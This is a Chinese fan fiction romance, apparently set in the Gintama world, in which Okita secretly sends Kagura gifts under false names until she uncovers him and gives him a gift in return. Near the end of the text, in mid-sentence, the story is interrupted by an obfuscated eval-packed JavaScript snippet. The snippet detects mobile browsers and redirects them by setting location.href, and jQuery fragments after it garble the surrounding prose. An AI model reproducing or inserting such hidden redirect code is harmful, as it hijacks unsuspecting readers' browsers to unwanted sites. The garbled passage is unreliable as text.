神乐忘记了自己想要高跟鞋的理由,兴奋地跳了起来。新八也微笑着看着高兴地试穿的神乐,那双樱花花瓣般可爱的鞋子,和神乐很配。神乐似乎也很喜欢它,一圈又一圈地模仿芭蕾舞女演员。今后一段时间,急救箱将不再有用武之地。新八不理会妹妹嬉闹的样子,收拾了急救箱。 山崎买的玫瑰色高跟鞋就这样被收进了壁橱的深处。 金线、银线、花、鸟、扇子、雪中箭碎花纹,青海波。 土方和冲田无奈地叹了口气。 想和你私下谈谈,所以请来我房间。下班的时候,被近藤先生叫去,去了一看,房间里挤满了排列得整整齐齐的鲜艳和服。为了送给心上人和服,特意叫来绸缎庄,但是数量太多没能选好。土方和冲田似乎是为了缩小候选范围才被召集过来的。 “这个桔梗刺绣的怎么样?美丽又高贵的感觉很适合阿妙。” “…会不会有点暗?我觉得更明亮的东西比较好。” “那牡丹配蝴蝶怎么样?很可爱,很适合花一样的阿妙小姐吧。” “牡丹的花期不一样吧?” “啊,确实。” 与一边嫌麻烦一边给建议的土方不同,冲田毫无干劲地躺着。听说要商量的时候就有这种感觉,但是太愚蠢了,根本没办法交往下去。 “喂,总悟,别无所事事了,你也来选吧。” “啊,那个麻叶的不是挺好的吗?和市松花纹的带子配在一起就很合适。” “不,那完全是祢豆子吧。” “那么,这个和黄色腰带很配的红色的……下摆有叶子,很漂亮哦。” “所以说那是镜花的!别的公司才不要啊!” 看冲田没有认真挑选的意思,近藤把商量对象锁定在了土方身上。从一开始这么做就好了,让自己选择礼物本身就是错误的。一个人在心里感叹着,突然想起前几天自己送过礼物的唯一一个女人。 那一天几乎是无意识就走进了鞋店。回过神来,停下脚步,结果不到5分钟就返回了店里。一进店就发现了和展示柜一模一样的鞋子,一看价格标签就凝固了,谕吉的数量是那双红色高跟鞋的好几倍。 毕竟是高薪阶层,购买本身并不难。但是,鞋子贵到这种地步,在他的常识里是不可能的。再看看周围,每一双鞋的设计都很高级,价格也相应不菲。拿着鞋子正烦恼着该怎么办,突然发现自己在犹豫要不要买,吓了一跳。 不不不,买了又怎么样。为了那个女人花钱,开什么玩笑。 他努力冷静地思考着,想把鞋子放回原处,却和在角落里等候的店员四目相对。 “客人,这是今天刚进口的,质量非常好,也是本店推荐的。” “进口的?” “是的,本店的商品全部都是从外国品牌调货的,底部有logo吧?” 听她这么一说,低头看了看鞋子,发现上面印着国外著名品牌的logo,整体价格偏高也是因为这个原因。 “因为那边的商品只有一件,所以顾客拿的是最后一件。” “只有一件?那么,店门口的东西是?” “那是展示用的复制品,真品一卖出去就撤货。” 你打算怎么办?无言地被店员控诉。 回过神来,冲田已经拎着印有店名的袋子走出了店门。回想起自己不理智的行为,挠了挠脑袋。 为什么当时就买了呢,到现在也想不明白。只是,拿到那双芭蕾舞鞋的时候,不知为何浮现出那个女人的笑容。不知不觉已经从钱包里取出卡支付了。而且不是以土方的名义,而是他本人的名义。 买了之后,下一个问题就是如何交货了。按照自己的性格是不可能乖乖交出去的,如果交出去的话会被反驳说很恶心,被那样做的话,纤细的抖s心很容易就会崩溃。 想来想去,最后决定借用她父亲的名字。忙于在宇宙中飞来飞去的星海坊主很少来地球,就算要道谢,以万事屋的金钱状况,也付不起高额的星际通信费吧。就算把信寄了出去,也不太可能会寄到不知在何地的父亲那里。在考虑到这一点之后开始了预谋的犯罪。 结果冲田的计策似乎成功了,好几次看见她穿着他送的鞋子外出。嘴角自然地松弛下来,不知道为此紧绷了多少次脸。 冲田对还没选好和服的近藤打了声招呼,决定出门。静着不动只会想多余的事情,冲田还不想注意到占据他胸中的某种淡淡的东西。 * 也没想好要去的地方,就这么四处闲逛,不知不觉就来到了歌舞伎町。冲田下意识地朝着少女所在的方向走去,厌恶地咂了咂嘴。 不出所料,走了几分钟,冲田就看到少女在一家面向年轻人的服装店前徘徊。冲田看着少女的脚边,挑了挑眉毛。因为她穿的不是前几天送她的芭蕾舞鞋,而是她平时穿的那双破旧的中国鞋。 “喂!” “啊?” 一出声,她就冷冷地回瞪。冲田的太阳穴浮现出青筋,但还是勉强控制住了。今天为什么穿这双鞋?不可能老老实实说出这种话,于是决定委婉地进攻。 “你在这种地方干什么?在马路中间不是给人添麻烦吗?” “没给你添麻烦阿鲁……只是有点犹豫要不要进去。” “进去不就行了?” 神乐想进去的服装店特别受十几岁少女们的欢迎。就算神乐进去也没什么奇怪的吧,不知道她在犹豫什么。先不说这个,今天为什么要穿这双鞋。 神乐并没有注意到因为在意神乐的鞋子而无可奈何的冲田,叹息着开始说话。 “我没有钱阿鲁,就算进去也买不到东西。” “只是看的话是免费的吧。” “这样太空虚了阿鲁,好不容易得到一双好鞋,现在穿不下去了。” “啊?为什么?” 冲田不明所以地歪着头。 “前些时候,爸比送了我一双很可爱的鞋子,上次穿着它去参加女生聚会时被嘲笑了,说是因为鞋子太贵了,所以和衣服不搭配。” 神乐看着自己身上的旗袍,眉毛呈八字形垂下。用薄布料做成的衣服,一看就是大量生产的便宜货。再加上穿得太频繁,衣服磨损得很厉害。 “时尚的话,总的搭配很重要。如果有钱的话,早就准备好了。” “女人真麻烦。” “是啊。” 难得这么爽快地表示赞同,冲田差点脱口而出。 要我给你买吗? 话还没说出口就慌忙捂住了嘴,到底在想什么啊。神乐茫然地看了看慌慌张张举止可疑的冲田,他慌忙装出若无其事的样子。 “那你打算怎么办?” “没有钱就什么都买不到……干脆再把照片卖给吉米吧。啊,不过钱的话,托西应该更有钱。” 如果我哭了,他们应该会给我买一个。 神乐留下这句令人不安的话离开了,冲田也转过身了。 他下意识地朝着高级时装店林立的街道走去。 * * * “神乐,行李又到了。” 在服装店前和冲田对话的几天后。既没有委托也没有事情可做,正在沙发上无所事事时,新八开口了。 “行李?又是爸比寄来的吗?” “不,好像不是。嗯……什么?神威先生?!” “什么?!” 这个意想不到的名字,让躺在地上的神乐跳了起来,躺在对面沙发上的银时也睁大眼睛坐了起来。 “喂喂,那个笨蛋大哥送什么东西来了?会不会是人头?” “可能是炸弹阿鲁。” “会不会是新的外星人?” 在宇宙中横冲直撞的神乐哥哥完全没有信用可言。三个人默默地互相推着寄来的神秘行李好一会儿,还是没有什么头绪,于是神乐决定打开看看。 看上去没有尸臭和腐臭,行李也比想象中轻。或者说很薄,神乐拿着封盒子的胶带一端,“嘶”地一口气把盒子掀开。如果刺激的话可能会很危险,所以轻轻地打开盖子。 “这是什么?衣服?” “…诶?啊,真的。” “啊,太可怕了,心脏都快跳出来了。” 在神乐鼓起勇气尝试打开的时候,躲在沙发后面的银时和新八以光速回来了。在确定不是危险物品后,三个人总算松了一口气。箱子里放着像是衣服的白布。神乐把它拿在手里,不禁发出感叹。 神威送的是一件比雪还要纯白的可爱连衣裙,碎花裙摆轻轻舒展开来,优质的蕾丝花边摇曳重叠在一起。糖果袖衬托出少女的气质,再加上附带的黑色腰带,甜美的设计一下子就收紧了。 “好啊好啊,这是什么!” “喂,新八,你是不是把寄件人的名字搞错了?这真的是那家伙寄来的吗?” “上面明明写着‘神威’。” “真的吗?” 到底是什么风吹来的呢?在欢天喜地的神乐旁边,两个男人面面相觑。于是,纸片从神乐拿着的衣服缝隙中飘落下来。捡起来一看,写着简单的信息。 “收到了就送给你。神威。” “从谁那收到的?” “谁知道呢?” “小银,新八!我要穿一下这个!不要偷看!” 对于手忙脚乱地拿着连衣裙跑进盥洗室的神乐来说,男人们的疑问根本不存在。对求之不得的礼物兴奋不已。哥哥本来就是个反复无常的人,应该没有什么深意吧。 神乐顺手下了结论,开始换衣服。 “好可爱…” 马上试穿了一下,可爱程度超出了期待。蕾丝一动就会摇晃,开心的神乐在镜子前不停地旋转。这样的话,也许和父亲送的鞋子很搭。 配合衣服的氛围,把头发也放下来。这几年留长了的鲜艳桃橙头发,搭配白色连衣裙很好看。心情大好正要出门时,感觉到天花板上有动静。 “小猿。” “哎呀,露馅了。” 也不打算藏起来吧,潜伏在银时身边的变态忍者,就这样一头栽了下来。 “你穿的衣服真不错,是那个哥哥送的礼物吗?” “你听说了吗?是啊,真稀奇。” “很适合你啊。” “嘿嘿,谢谢!” 刚才的骚动让跟踪狂听得一清二楚,但神乐并没有责备猿飞,而是很高兴地回了她一句。她迫不及待地想向大家炫耀一番。 先去哪里好呢?亚麻色的那家伙看到这个样子,会吓一跳吗?想象着总是面无表情的他满脸通红、睁大眼睛的样子,呵呵地笑了。看着喜气洋洋的神乐,猿飞问道。 “什么,现在要出门吗?” “嗯!我想给大家看看这件衣服!” “真好啊,难得打扮得这么可爱,头发也好好梳一下吧,要不我帮你扎一下。” “真的!” “嗯,快坐下,发饰呢?” “发饰?” 听了猿飞前所未有的温柔话语,神乐高兴得跳了起来。但是,当她想帮她扎发型时,却被要求戴发饰。 “没有什么发饰,平常的团子不行吗?” “有点不搭配啊……什么都不戴看起来也很寂寞。还有什么吗?蝴蝶结发夹什么的。” “……” 好不容易恢复的心情一下子下降了。面对新出现的难题,神乐感到很头疼。 很奇怪,真是太奇怪了。 几天前,冲田送给了神乐一件连衣裙,是以她哥哥的名义寄去的,神乐却完全没有穿上的样子。 他去了一家高档时装店,店员帮他看了几件,他从里面选了一条和那双芭蕾舞鞋最相配的裙子。忍着耻辱,在满是女性的店里买了理所当然昂贵的连衣裙。你知道消失了多少谕吉吗?还是说有什么不满意的? 和往常一样穿着旗袍的神乐对峙,冲田焦躁地瞪着神乐。当事人不明白自己被吓到是什么意思,歪着头。 “什么嘛,你怎么这么不高兴?” “你,衣服呢?” “衣服?” “你之前不是在服装店门口徘徊过吗?” “啊,那个。” 这么说来,好像有过那种事。前几天的一件连衣裙让我完全忘记了。虽然刚才想起来了,但还是不知道冲田为什么会那么不满。 歪着头寻找线索的神乐,似乎完全忘记了向山崎和土方索要衣服的想法,这样的话当初为什么要那么急急忙忙地购买啊?冲田摸了摸脑袋,突然停了下来。为什么这么着急呢?本来就没必要买给她。 两人开始闷闷不乐地思考,转眼间就成了通行的障碍。因为被路上的行人嫌麻烦地避开了,所以决定一起靠边。 走到路边,神乐突然开口。 “神威给了我一件衣服。” “神威是你哥哥吗?” “嗯。” 冲田漫不经心地问,为了不露出破绽,尽量装出一副不感兴趣的样子。 “又白又可爱,和以前爸比送的鞋子也很搭。” “啊,那穿上不就行了吗?” “……发饰。” “发饰?” “有人说那件衣服不适合平时的团子,还是别穿为好。什么都不穿的话会很朴素,但是穿便宜货的话又很奇怪。现在该怎么办才好呢?” 看着鼓起脸颊发牢骚的神乐,冲田仰天长叹。该怎么办,是我的台词。一个接一个,这家伙不会是故意的吧。 冲田的眼神比刚才更锐利了,神乐还是不明白他的意思,越来越纳闷。 * * * 为了完成新八交代的晚餐任务,神乐来到商店街购物。买了想买的的洋葱、土豆和胡萝卜,没有中途停留就踏上了回家的路。今晚是吃咖喱吧,一边想着一边看着路上女孩子们的头发。发簪、花环、丝带、发夹、发箍……所有的东西都装饰在少女们的头发上,都一样可爱。 从那以后,神乐想尽办法想弄到和那件连衣裙相配的发饰,但完全找不到。因为没有钱,所以没有购买的选择,从别人那里得到的也有限度。她也想过父亲和哥哥会不会再送礼物来,但那种稀有的事情暂时不会发生。 ……这样的话,就不能穿这身去给那个人看了。 当初的目的完全变了,不知从何时起,我开始打扮自己,只为给那家伙看。在为这样的自己感到恶心的同时,也感到了一丝愉快。一时间难以置信。 “你好,神乐先生,有什么事吗?” “…你、你好。” 神乐郁郁寡欢地思考着,离万事屋只有一步之遥的时候,被邻居叫住了。严肃的相貌与可爱的花朵相得益彰,正是花店的老板屁怒吕。虽然性格十分善良,但毕竟外表凶恶,神乐不由得摆出一副防备的架势。 “今天天气真好,这种日子真想尽情活动活动身体。” “是啊。” 由于屁怒吕继续和颜悦色地交谈,神乐也放松了肩头的力气回应。一开口就知道,他的人品真的很好,但对话还是一个问题。 屁怒吕和神乐在平静的气氛下聊了一会儿天。过了一会儿,神乐想起了手里的家常用品。再待久了肯定会被新八说的,还是赶紧结束话题吧。 “新八差不多要开始做晚饭了,我得回去了。” “哎呀,已经这么晚了吗?真是不好意思,把你留在这里。” “不,我也很开心,那下次见。” “嗯,下次见。……哦,我忘了。请等一下。” “有什么事吗?” 屁怒吕唐突地回到店里,把大脑袋伸进收银台下面,窸窸窣窣地拿出了什么东西。回来的屁怒吕拿着的是用包装纸包着的可爱的花束。 “这是什么,好漂亮啊!” “这是一种叫蝴蝶兰的花,开成美丽的粉红色,很漂亮吧?” “哦,白色的我见过,粉色的也有啊。” “嗯,黄色也很受欢迎。” 说着,屁怒吕用非常自然的动作把一束蝴蝶兰递给了神乐,神乐下意识地收下了,这是不是意味着要给我呢? “哎,这个可以给我吗?” “嗯,请吧。…其实,接到订单做好后,客人打来了取消的电话。好不容易做好了,扔了很心疼,如果可以的话请收下。” 递过来的花束,蝴蝶兰鲜艳地盛开着,美得无可挑剔。坦率地收下并道谢,再次看了一眼,发现包装纸上扎着的是一条美丽的奶油色丝带。 “这个…” “啊,那个很漂亮吧?本来是点单的客人带来的,希望用这个丝带包起来。好像是用来作为发饰的缎带,但做得相当不错。” 一听到发饰,神乐目不转睛地盯着缎带。手感良好的丝绸被染成淡奶油色,同色的小花被细心地刺绣在精致的缎带上。毫无疑问,特意指定高档货的这个,原来的订购客人一定是相当讲究的人。不管怎样,眼下的烦恼终于可以解决了,神乐缓缓地扬起嘴角。 “其实我最近特别想要一个发饰,想得不得了!这个蝴蝶结我可以直接收下吗?” “嗯,当然可以。取消的时候客人说,蝴蝶结随你的便。” 神乐满面笑容地道谢,哼着歌跑回万事屋,必须马上试戴一下。 目送神乐兴高采烈地离去,屁怒吕也折返回店里。回到店里后,他立刻对从插在水桶里的山茱萸的影子里窥探这边的可疑人物搭话。 “送出去了。” “……谢谢。” 可疑人物元冲田绷着脸道谢,站起身来。刚才还紧紧盯着少女的苏芳色眼睛,现在却摇摇晃晃。看着这样的青年,屁怒吕微微一笑。 就在神乐经过之前不久,冲田一脸严肃地来到店里,屁怒吕眨了眨眼,觉得很少见。身为芋头武士的他,对花既没有兴趣,也没有缘分。屁怒吕当然知道冲田是名人,无论好坏,但和经营花店的自己基本上没有交集。虽然觉得有些不可思议,但对于值得纪念的第一次来店,还是高兴地笑着搭话。冲田草草地打了个招呼,递上一束缎带。 “随便就行,把花装饰一下,用这个包起来吧。” 这是第一次有客人指定要缎带而不是花。虽然觉得很奇怪,但因为是客人的要求,所以还是顺从了。但是,对于花店来说,“随便”这种说法是不允许的。屁怒吕让他选什么都行,冲田讶异地看着他,不情不愿地指着粉红色的蝴蝶兰。 屁怒吕包了几株蝴蝶兰,用蝴蝶结装饰。冲田多付了钱,面对屁怒吕的疑问,他默默地摇了摇头,希望有人替自己做点事。 那就是恶名昭著的冲田,屁怒吕战战兢兢,不知道他到底会提出什么样的请求,一问才知道,对他来说,这是个很可爱的请求。 ——想把这束花交给万事屋的女孩,告诉她蝴蝶结是发饰。 冲田一边眼神游移一边快速地说了请求,屁怒吕愣在原地,花束差点掉在地上。让哭泣的孩子都沉默不语的真选组一番队队长冲田,要送花给女性,还是自己熟悉的女孩。可能是被张大嘴巴的屁怒吕弄得很尴尬吧,冲田快步离开了店。不过,他马上就回来了,然后像是为了混进店里的花丛一样,笨拙地蹲了下来。屁怒吕觉得很奇怪,问他为什么,他说在马路对面看到了那个少女。 “马上就要经过这里了,能不能把它交给她?啊,千万别告诉她是我买的。” “好……” 他似乎并不想自己送出去,屁怒罗虽然心情有些焦躁,但是为了叫住即将经过的少女,还是走到了外面。 送了花束回来的屁怒吕用温暖的眼神看着冲田,冲田忍不住冲出了店外。以前所未有的速度奔向屯所,想起了刚才神乐的笑容。 神乐接过礼物的喜悦表情,破坏力惊人。红着脸,羞涩地道谢。冲田打从心底后悔自己没有亲手交给她。 然后,忽然意识到了自己一直给神乐送礼的理由。一旦意识到这一点,一切就都简单了,心中的那份笃定已经膨胀到无法忽视的地步。 “啊啊啊啊啊啊啊啊啊啊!!!” 冲田忍不住大叫着跑了起来,路过的人们都吓了一跳,回头看他,他现在没有闲工夫去管这些。 发生这件事好几天了,冲田每天都过着闷闷不乐的日子。 从早到晚,那个女人的笑容在脑海中挥之不去。早餐吃了煎鸡蛋的话,就会联想到那家伙很喜欢吃鸡蛋。每次去巡查都只会在万事屋周围转悠,一开始练习,他就会想起和少女的交手。晚上睡觉前也一定会想到她,所以没那么容易睡着。 总之,神乐一整天都出现在冲田的脑海里,他不得不不停地摇头驱赶。自己已经沦落为飘飘然的初恋混蛋了,他想要做点什么,可是越是压抑,感情就越会溢出来,很快就会超过负荷。 最近的冲田队长情绪很不稳定,这样的传闻在队内开始流传,冲田被刚刚意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012497|148600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到的恋爱之心所左右。一边为不光彩的传闻伤脑筋,一边走夜路。下班后想换换心情来喝一杯,结果还是这个。只要那个女人在,我就无法转换心情。 干脆喝到记忆消失,这种麻烦的心情也会消失吧。自暴自弃地想着,突然,一个熟悉的声音飞进了耳朵。 “这里是兔子俱乐部,有很多可爱的兔子和可爱的女孩子为你服务哦,请顺便来看看阿鲁。” 这几天,这个烦人小姑娘的声音一直萦绕在脑海里。回头一看,戴着兔耳朵的神乐正在一家可疑的店门口发传单。他皱着眉头,插进了伸长鼻子接过传单的男人和神乐之间。 “喂,你这家伙!” “啊?…怎么是你啊。有什么事吗?” “你在这种地方干什么?” “一看就知道了吧,我在打工阿鲁,真碍事,你快走吧。” “打工?” 冲田狐疑地看着若无其事地说着的神乐。看她拿着的传单,好像是那种一边和兔子嬉戏,一边和女孩子聊天的新感觉的夜总会。抛开充满槽点的经营模式,从上到下打量眼前的神乐。穿着短而暴露的和服和粉红色的兔耳朵,真是不可理喻。 “你不是还是未成年吗?干嘛在在这种地方工作。” “我不接待客人,只是发传单。是熟人的店,又不危险,没关系吧?” 这是什么理由?周围的男人看了看神乐,脸红了。顿时,一股阴郁的情绪从心底升腾,杀气腾腾地瞪着男人们。 “喂,你别这样,我不知道你在生气什么,客人都不敢接近了阿鲁。” “谁知道呢。总之,如果你不想挨骂的话,就赶快辞职吧。下次再看到你,我可不会手下留情的。” “真讨厌。现在的时薪很好,我想快点要钱。” “……为什么?” “我想买把新伞。” 看着一脸若无其事的神乐,冲田不由得想挥刀。这么说来,别说鞋子和衣服了,就连特意送的发饰也没有戴。这次又是谁对你说了什么?说这话的人我一定会揍他。冲田毫不掩饰心中的焦躁,下定了决心。 “平常的番伞不就行了吗?为什么要新的呢?” “我之前不是说过收到了可爱的鞋子和衣服吗?后来我发现了与它相配的发饰,就想干脆把伞也换成可爱的。” “……” 神乐似乎没有听任何人说什么,只是自己想要一把伞,这样下去就没完没了了。 “你……你给我适可而止。” “啊?你说什么?” “我知道你想要伞。我知道了,但是这家店不行。不要再去夜总会了。” “为什么要你说这种话阿鲁。刚才我也说了,这里的时薪很高,伞也要快点买……” “伞的话我给你买,赶紧辞职了吧!!” 冲田终于对着不情愿的神乐怒吼道。一反常态的游刃有余,神乐看得目瞪口呆。看到她这个样子,冲田突然恢复了理智,顿时觉得无地自容,转身离去。 “……不好意思,忘了吧。” 他挤出一句话,眼睛都不眨一下地跑了起来。 对于没能冷静下来的自己感到生气,内心充满了后悔和自我厌恶。决定放弃去喝酒的念头,回屯所去。冲田暗自叹了口气,预感自己将度过一个不眠之夜。 * * * 不知道。我为什么要被吼到那个地步? 昨晚打工时碰到的冲田总觉得有点不对劲。正在发传单的时候,他突然插了进来,还威胁我辞职。他毫不顾忌周围的人,散发着杀气,最后对着神乐怒吼。 ——伞的话我给你买,赶紧辞职了吧!! 他抬着眼睛,一副从未见过的严肃表情。没有那么从容的冲田还是第一次见到。 最重要的是喊出来的话的意义。给她买伞,到底是出于什么意图呢?自己是冤家,是竞争对手,是打架的朋友…不是互相送东西的关系。莫非有什么企图?……还是。 “啊,啊,哇,不行啊!!” “什么?” “啊啊啊啊!” 一个人在常去的团子店叫喊时,背后突然有人叫她。惊讶地回头一看,神乐更加惊愕地瞪大了眼睛。 “神威!” “哟,好久不见。你脸色这么难看,干什么呢?” “不,现在在吃团子……呃,不,你在干什么?” “我正好去了附近的星球,就顺便去了一下地球,结果看到你一脸蠢相。” “谁是傻脸!!” 自己明明也长得一样吧!神乐大吼一声,神威却无视她,强行坐在妹妹旁边。哥哥马上点了50根糯米团子,开始放松下来,神乐看了他一眼。 “真是太任性了,既然吓到了我,那就你请客吧。” “不,什么理由?是你自己吓了一跳吧?绝对不要。” “别小气了!上次你还大方地给我衣服呢。” “啊?衣服?那是什么?” “什么?” 哥哥给了那么贵的衣服,却不请吃团子,神乐急得撅起了嘴。但对方立刻一脸讶异地反问,她也愣住了。 “不是,是前几天送给我的,白色的可爱衣服。” “我不记得给过你那种东西。” “啊?啊,你也是别人送的吗?你看,那件袖子很蓬松的连衣裙!” “我不知道你在说什么,反正我从来没有收到过那种衣服。怎么,你怎么了?是不是太阳晒多了变得奇怪了?” “去医院吧。”远处传来哥哥哈哈大笑的声音。 就算是神威,也不可能把几周前的事情忘得一干二净吧。那么,那件衣服不是哥哥送的吗?那么,到底是谁…?神乐勉强转动着不灵活的脑袋,试着寻找线索。这时,神威又追了上来。 “对了,我忘把信交给你了。” “…信?” “嗯,来地球之前偶然碰到的。把人当跑腿,真恶心。还是杀了他吧。” 神威笑嘻嘻地说着令人不安的话。一把抢过递过来的信,神乐看了看寄信人,上面写着父亲的名字。这应该是赠送芭蕾舞鞋时写的感谢信的回信吧。我不知道他在什么时候在哪里,所以把它寄给了外星人猎人协会。既然收到了回信,看来协会已经准时送到父亲手上了。急忙撕开封口,取出里面的东西。 “敬启,神乐。你好吗。爸爸的身体和发根都精神百倍。谢谢你那天的来信,我很高兴你没事。不过有一件事我很好奇,那就是樱花色的芭蕾舞鞋是指什么呢?爸爸没送你那种东西,会不会是有人送错了?对了,不会是男朋友送的礼物吧?” 还没看完,神乐就把信撕得粉碎。不可能。这到底是怎么回事? “神威,我想起来一件事。谢谢你的团子阿鲁,再见。” “不,我没说请客。啊,喂!” 身后传来哥哥的叫声,但神乐听不见。面对突如其来的各种事实,她的大脑无法跟上。 ——伞的话我给你买。 怎么会,不,怎么会。神乐想尽快摆脱疑虑,跑疑虑,跑了出去。她的目的地是前几天送给她漂亮蝴蝶结的邻居。 * “哎呀,神乐先生,你怎么这么慌张?” 神乐冲进花店,调整了一下呼吸。看到少女以惊人的姿势滚了进来,屁怒吕吃惊地睁大了眼睛。看着吓了一跳却非常平静地打招呼的屁怒吕,神乐开口了。 “上次你送了一束很漂亮的花吧,叫蝴蝶兰。” “啊,对了,您喜欢吗?” “啊,嗯。那个…那个是谁点的阿鲁?” 神乐的说话方式听起来有点紧张,咦?既然要打听这个,是有什么进展吗?前几天冲田来店里之后,其实我一直很在意那之后的事情。 “对不起,客人的名字是个人信息,我不能告诉你。你为什么要问这个?” “那个…那个…” 神乐吞吞吐吐地说着话,屁怒罗很着急。 ……稍微帮忙应该也不会受到惩罚。只要稍微向好的方向发展就可以了。为了支持从以前开始就关注着的附近女孩子的恋爱路,屁怒吕开口了。 “我不能告诉你名字,不过说到特征应该可以。亚麻色的头发,红色的眼睛,看起来很有男子气概……” “!!” 怀疑变成了确信。 神乐深深地吸了一口气,然后又深深地叹了口气。 然后抬起头来,用坚定的眼神盯着屁怒吕。 “我有件事想拜托你。” 和刚才像迷路的兔子一样不同,神乐的请求让屁怒吕点了点头。 注视着轻快离去的少女的背影,屁怒吕温柔地微笑着。 “真是青春啊。” 对着晴朗的天空喃喃自语的他,永远都是那么善良。 …可恶!可恶可恶可恶可恶!! “啊……” 把写错的文件揉成一团,扔进垃圾桶。这个动作已经不知道重复了多少次,冲田无奈地叹了口气。 冲田对神乐大吼大叫的那天之后,就再也没见过神乐。下次见面时不知道说什么好,害怕神乐会有什么反应。尚未习惯的恋慕之心,让青年完全变成了胆小鬼。拜托土方将业务改为内勤为主,这几天在屯所里闭门不出。 即使想要心无旁骛地埋头于报告书和记录书之内,少女的脸也会在脑海中闪过。根本无法集中注意力,浪费了好几张纸。冲田已经不想再继续了,扑通一声躺在榻榻米上。 神乐买了新伞吗?那家店还在营业吗?说起来,那家伙到底是为了什么想打扮得漂漂亮亮的呢…… 回想起来,我一直很怀疑。不久前还是个连时尚的字都不认识的臭小鬼,现在突然吵着要鞋子衣服,到底是为了什么? ……难道,有男人了? 想到这里,冲田猛地坐了起来。仔细想想,神乐对完成服装搭配非常执着。如果是以前的神乐,根本不会在意衣服和鞋子合不合适,有没有发饰。这种心境的变化果然是想让意中人看到完美的自己。其实已经约好了约会,想要那天穿的搭配之类的…… 这一切都很合理,冲田有些伤脑筋。好不容易才意识到自己的感情,失恋可不是开玩笑的。 干脆让那个男人消失吧…… 手拿爱刀陷入危险的思考时,从拉门那边传来了部下的声音。 “失礼了,冲田队长,现在方便吗?” “什么……” “队长你有客人来了。” “客人?” 听到部下客气的话,冲田歪了歪头。客人似乎在客厅里待命,除了部下之外没有其他动静。告诉他自己马上就去,部下立刻退下了。如果是大人物就不好了,先整理一下衣服…… 哇啊! 毫无预兆地,拉门猛地被拉开,房间一下子亮了起来。 “喂,好慢啊!你想让客人等多久啊!” “不,是你啊!” 不知发生了什么事,他举起刀,女高音立刻响起。让冲田心痛的元凶登场了,为了恢复混乱的平常心,冲田拼命掩饰。 “什么?客人是你吗?有什么事?要是是无聊的事,我就杀了你。” “好不容易来一趟,你这个没礼貌的家伙,至少拿点茶点来吧阿鲁。” 神乐自顾自地来到这里,又摆出一副高高在上的样子,他瞪着神乐,想要抱怨几句,却又僵住了。 映入眼帘的是一个身穿纯白连衣裙的美少女。蓬松的桃橙色头发垂下来,侧边编了个辫子,扎起头发的是柔软的奶油色丝带。 这些似曾相识的东西让冲田睁大了眼睛,这两者都太适合少女了,他知道自己的判断没有错。 “我刚脱了鞋,今天还穿了那双鞋呢。” “那双鞋?” “樱花色的芭蕾舞鞋。” 听着乐呵呵的话语,我绝望了。衣服、发饰、鞋子都备齐了,恐怕连伞也买了吧。充分准备了一切,也就是说,今天是约会的日子吗?神乐瞥了一眼表情苦闷的冲田。 “喂,你没事吧阿鲁?脸色很难看。” “是谁?” “什么?” “你穿成这样是为了谁啊!” 我一定要找出来,消灭他。面对突然散发出不祥杀气的冲田,神乐吃惊地张大了嘴。 不过,过了一会儿,她似乎察觉到了什么,一脸无奈地说。 “…为了你阿鲁。” “…诶?” “最初想要鞋子的时候,想要搭配衣服的时候,发饰和雨伞,所有的一切都是为了你。” 看着被这意想不到的话惊呆的冲田,神乐像弹奏似的笑了起来。嗤嗤笑个不停的神乐,让人无法停止混乱。 “什……什么?为了我?” “没错,话说回来,这些都是你买的。” “!!” 被发现了。被发现了。无可奈何的羞耻感袭来,冲田抱头蹲下。神乐并没有在意呻吟着的冲田,而是像唱歌一样继续着。 “冷静地想一想,都是些不自然的事情阿鲁。宅急便的发票上虽然写着星海坊主,但那只是外号而已,一般都用真名写的。神威如果收到这样雪白的衣服的话会被血溅到的吧,再说把连衣裙交给那家伙是什么情况。就拿蝴蝶结来说,这么好的装饰品,果然还是会想要阿鲁。如果我取消了订单,我会去把蝴蝶结拿回来。” 冲田真想捂住自己的耳朵,神乐还在说个不停。看似完美的作战计划一旦败露就会化为泡影,或者说,破绽意外地多。 糟透了,随你怎么处置,冲田自暴自弃地抬起头,神乐正用出乎意料的温柔眼神看着他。仔细一看,手里拿着一个包裹。神乐似乎注意到了视线,“嗯”了一声,把包裹递过来。 “这是什么?” “你看看。” 神乐应了一声,随即闭上了嘴。冲田一边惊讶地看着她坐立不安的样子,一边撕开包裹,像布一样的东西出现在眼前。展开一看,冲田吃了一惊。 棉质的布料染上了清爽的青竹色,是一件很别致的男式外褂。 “你,这……” “不好意思啊,是便宜货。” 一直以来的感谢阿鲁。说着,神乐噘起嘴巴,脸颊泛起淡淡的红晕。怎么看都是掩饰害羞的动作,从冲田的心底慢慢涌出一股暖流。这是神乐送的礼物。刚才还说是为自己打扮的。不管怎么想,这都是…… “你也太喜欢我了吧……” “啊?!那是你自己吧!在背地里偷偷送礼,装成长腿叔叔吗?” “吵死了!托我的福,你才会穿成这样吧?你知道这些总共要多少钱吗?这个月的信用卡账单可真够多的。” “我怎么知道!这是你自己买的吧?要不再让你多给点钱吧。” 吵吵嚷嚷地争了起来,两个人完全恢复了原来的状态。 冲田突然拿起外褂,微笑着向神乐道谢。 “这个,谢谢你。” “什么……你老老实实道谢什么的真恶心。” “你这家伙…” “多亏了这个,我连伞都没买到,你好好用吧。” “什么?” 没买伞吗?话说回来,这件外褂的钱是怎么赚来的?果然是那家夜总会吧。冲田再次带着危险的气氛,神乐无奈地说道。 “我跟你说,这是我在屁怒吕店里打工买的,是托他雇佣我的哦。因为有人吃醋,所以我早就辞掉了夜总会的工作。” “……谁吃醋了?” 冲田一边说一边松了口气,神乐笑嘻嘻地看着他。冲田瞪着神乐,站了起来。 “…去哪里阿鲁?” “出门,我要去买伞。” “!” 反正已经在船上了,既然已经到了这个地步,那就走到最后吧。冲田心情很好地准备离开房间,但是神乐没有跟在后面的意思。回头一看,同样站起来的神乐正一脸不满地抬头看着冲田。 “你在干什么?” “我…其实很想近距离看到你的眼睛,所以让吉米给我买了一双红色的鞋子阿鲁。” 